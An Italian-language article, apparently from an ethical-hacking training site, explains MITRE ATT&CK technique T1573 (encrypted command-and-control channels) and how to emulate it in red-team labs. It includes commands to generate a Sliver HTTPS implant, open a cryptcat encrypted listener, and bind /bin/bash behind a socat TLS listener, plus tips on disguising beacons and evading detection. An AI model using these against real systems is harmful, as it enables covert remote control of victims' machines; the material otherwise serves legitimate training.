Canale Cifrato: Encrypted Channel (T1573)
La tecnica T1573 - Encrypted Channel descrive l'impiego, da parte di attori malevoli, di algoritmi crittografici applicativi per occultare il traffico di comando e controllo, andando oltre le protezioni native del protocollo di trasporto. L'obiettivo è vanificare l'ispezione perimetrale e i controlli basati su firma, sfruttando cifrari simmetrici (AES, RC4, ChaCha20) o asimmetrici (RSA, ECC) implementati direttamente nel malware o nelle sue configurazioni.
La tecnica si colloca nella tattica TA0011 (Command and Control), fase in cui l'avversario stabilisce e mantiene il dialogo con gli host compromessi mimando traffico legittimo. È un tassello ricorrente della kill chain post-exploitation: dopo l'initial access e l'execution, il canale cifrato garantisce persistenza operativa, trasferimento di comandi e, spesso, esfiltrazione.
I numeri MITRE parlano chiaro: 4 gruppi APT documentati (tra cui APT29, Magic Hound, Tropic Trooper, BITTER), 11 famiglie malware che spaziano da RAT storici come gh0st RAT e NETWIRE a strumenti moderni come MacMa, PowerLess e Gomir, e 2 campagne di alto profilo che includono l'attacco al Triton Safety Instrumented System del 2017 e l'attività della KV Botnet attribuita a Volt Typhoon. La debolezza intrinseca risiede nella gestione delle chiavi: se il segreto è hardcoded o derivabile dall'analisi del sample, la cifratura crolla in fase di reverse engineering.
Sul fronte offensivo, simulare T1573 in un ingaggio red team significa costruire un canale C2 cifrato che regga davanti a NDR, TLS inspection e sandbox. Il punto di partenza in laboratorio è quasi sempre un framework maturo come Sliver (open source), Mythic (open source) o Cobalt Strike (a pagamento), tutti dotati di profili malleable per personalizzare cipher suite, certificati e JA3 fingerprint.
Per un beacon HTTPS realistico con Sliver puoi generare l'implant con:
sliver > https --domain c2.lab.local --lport 443 --save /tmp/implant
e configurare un listener che presenti un certificato Let's Encrypt-like tramite mkcert (open source) per simulare CA legittime interne. Su Mythic, il payload Apollo o Poseidon supporta trasporti HTTPS con encryption AES-256 negoziata via key exchange RSA, replicando fedelmente il pattern osservato in famiglie come RCSession e MacMa.
Per emulare attori che usano cifrari custom sopra TCP raw — come gh0st RAT con la sua compressione zlib + XOR o come cryptcat usato in C0030 (Triton) — puoi testare cryptcat stesso (open source) che estende netcat con cifratura Twofish:
cryptcat -k SharedSecret123 -l -p 4444
lato server e cryptcat -k SharedSecret123 target.lab 4444 lato implant. L'esercizio serve a validare quanto il SOC riesca a distinguere sessioni non-TLS su porte alte con alta entropia.
Per scenari cross-platform vale la pena costruire beacon Python con la libreria cryptography (open source), implementando ChaCha20-Poly1305 su WebSocket verso un reverse proxy Caddy o nginx. In ambiente macOS MacMa insegna che una TLS custom su porta 443 con handshake modificato è ancora efficace: puoi replicarlo con socat (open source) e certificati auto-firmati:
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork EXEC:/bin/bash
Su ESXi il vettore realistico è un binario Linux statico compilato per glibc minimale, droppato in /tmp e lanciato con nohup verso un endpoint TLS esterno mascherato da update repository. Su network devices compromessi (scenario KV Botnet), l'implant tipicamente è un binario MIPS/ARM che stabilisce un handshake pseudo-TLS con scambio RSA prima di attivare AES simmetrico — replicabile in lab con OpenWrt e un piccolo daemon in C.
Ricorda di variare cipher suite, dimensione dei burst e timing dei beacon: la detection moderna guarda proprio a questi indicatori comportamentali più che al contenuto.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo